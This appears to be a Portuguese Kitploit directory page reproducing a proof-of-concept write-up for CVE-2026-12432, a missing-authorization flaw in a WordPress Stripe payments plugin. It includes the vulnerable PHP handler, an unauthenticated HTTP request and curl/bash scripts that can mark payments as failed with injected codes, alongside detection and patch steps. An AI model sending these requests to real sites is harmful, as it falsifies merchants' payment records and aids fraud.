Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
By-Poloss..-..CVE-2026-12432-PoC — WP Full Stripe Free <= 8.4.3 - Missing Authorization | Kitploit
Ferramentas/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Missing Authorization

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
1há 1 mêsAinda não revisado

CVE-2026-12432: WP Full Stripe Free <= 8.4.3 - Autorização Ausente

Visão Geral

  • ID CVE: CVE-2026-12432
  • Pontuação CVSS: 5.3 (Médio)
  • Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Afetado: Stripe Payment Forms by WP Full Pay <= 8.4.3
  • Corrigido: >= 8.4.4
  • Publicado: 26 de junho de 2026
  • Última atualização: 27 de junho de 2026
  • Pesquisador: Netwurm - VTDR e.V.i.G.

Descrição da Vulnerabilidade

O plugin WP Full Stripe Free para WordPress é vulnerável a Autorização Ausente nas versões até, e incluindo, 8.4.3 através da ação AJAX wpfs_update_failed_payment_status.

Causa Raiz

O endpoint AJAX vulnerável é registrado tanto pelos hooks wp_ajax_ quanto wp_ajax_nopriv_:

root@kitploit:~
// wpfs-customer.php, Linha 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

A função update_failed_payment_status() (Linha 3835-3865) executa:

  • ❌ NENHUMA verificação de capacidade (sem current_user_can())
  • ❌ NENHUMA verificação de nonce (sem wp_verify_nonce())
  • ❌ NENHUMA verificação de login (sem is_user_logged_in())

Código Vulnerável

root@kitploit:~
// wpfs-customer.php, Linha 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... nenhuma verificação de autenticação antes do processamento ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // Atacante pode sobrescrever com valores controlados
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

Vetor de Ataque

Pré-requisitos

  • O ID do Payment Intent deve ser conhecido (exposto no navegador durante o checkout normal do Stripe)
  • Nenhuma autenticação necessária

Etapas do Ataque

  1. Identificar Alvo: Encontre um site WordPress com WP Full Stripe Free <= 8.4.3 instalado
  2. Obter ID do Payment Intent: Extraia do fluxo de checkout do Stripe.js ou de transações anteriores
  3. Enviar Requisição Maliciosa: Crie uma requisição POST para admin-ajax.php com parâmetros controlados pelo atacante

Requisição HTTP

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=CODIGO_ATACANTE&failureMessage=MENSAGEM_ATACANTE

Avaliação de Impacto

Área de ImpactoSeveridadeDescrição
Integridade

Impactos Específicos

  1. Manipulação de Registros de Pagamento: O atacante pode alterar o status do pagamento de "pago" para "falhou"
  2. Códigos de Falha Falsos: O atacante pode injetar códigos/mensagens de falha arbitrários
  3. Engenharia Social: Pode ser usado para fraudar clientes ou contestar cobranças legítimas
  4. Corrupção da Trilha de Auditoria: Registros comerciais podem ser falsificados

Prova de Conceito (curl)

Detecção Básica

root@kitploit:~
# Testa se o endpoint está acessível sem autenticação
curl -s -k -X POST "https://ALVO/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=CODIGO_TESTE" \
  -d "failureMessage=MENSAGEM_TESTE"

# Resposta esperada (vulnerável):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# O indicador chave é que o endpoint responde SEM exigir autenticação

Script PoC Completo

root@kitploit:~
#!/bin/bash
ALVO="https://ALVO"

# Verifica se é vulnerável
echo "[*] Testando CVE-2026-12432..."

RESPOSTA=$(curl -s -k -X POST "$ALVO/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJETADO")

if echo "$RESPOSTA" | grep -q "success"; then
    echo "[+] VULNERÁVEL - Endpoint acessível sem autenticação"
else
    echo "[-] Não vulnerável ou erro"
fi

Remediação

Correção Imediata

Adicione a verificação de autorização em wpfs-customer.php na linha 3835:

root@kitploit:~
function update_failed_payment_status() {
    // ADICIONE ESTA VERIFICAÇÃO
    if (!current_user_can('manage_options')) {
        wp_die('Não autorizado');
    }
    // ... resto da função
}

Correção Recomendada (pelo fornecedor)

Atualize para WP Full Stripe Free >= 8.4.4

root@kitploit:~
# Via Administração do WordPress
Painel > Plugins > WP Full Stripe > Atualizar

# Via WP-CLI
wp plugin update wp-full-stripe-free

# Via SSH
wp plugin update wp-full-stripe-free --version=8.4.4

Detecção

Verificação Manual

  1. Verifique a versão do plugin no administrador do WordPress
  2. Revise wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php
  3. Procure por current_user_can() ausente antes dos manipuladores AJAX

Detecção Automatizada

root@kitploit:~
# Verifica se a versão vulnerável está instalada
curl -s https://ALVO/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# Testa o endpoint AJAX
curl -s -k -X POST "https://ALVO/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potencialmente Vulnerável"

Referências

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack Database

W.P.E.F

  • Canal Telegram W.P.E.F #1
  • Canal Telegram W.P.E.F #2 --

Linha do Tempo

  • 26 de junho de 2026: Vulnerabilidade divulgada publicamente
  • 27 de junho de 2026: CVE-2026-12432 publicado
  • Correção: Atualize para >= 8.4.4
Baixar ferramenta
Médio
Atacantes podem marcar pagamentos bem-sucedidos como falhos
ConfidencialidadeNenhumNenhuma exposição de dados
DisponibilidadeBaixoPode interromper operações comerciais